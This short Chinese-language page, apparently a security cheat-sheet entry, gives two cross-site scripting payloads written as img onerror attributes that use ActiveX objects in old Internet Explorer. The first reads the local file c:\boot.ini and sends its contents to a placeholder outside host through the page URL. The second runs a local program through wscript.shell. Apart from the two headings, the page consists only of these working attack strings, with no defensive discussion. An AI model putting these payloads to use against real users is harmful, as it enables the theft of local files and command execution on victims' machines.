XSS通过ActiveXObject发送文件、执行命令

previous page next page
读取文件
  1. <img src=# onerror='var XmlHttp=new ActiveXObject("Microsoft.XMLhttp");XmlHttp.Open("get", "c:\boot.ini",true);XmlHttp.send(null);location="http://www.xxxx.com/?"+XmlHttp.responsetext;' />
执行命令
  1. <img height=0 width=0 src=# onerror='try{var s=new ActiveXObject("wscript.shell");s.Run("notepad.exe");}catch(e){window.open(document.URL)}' />
previous page start next page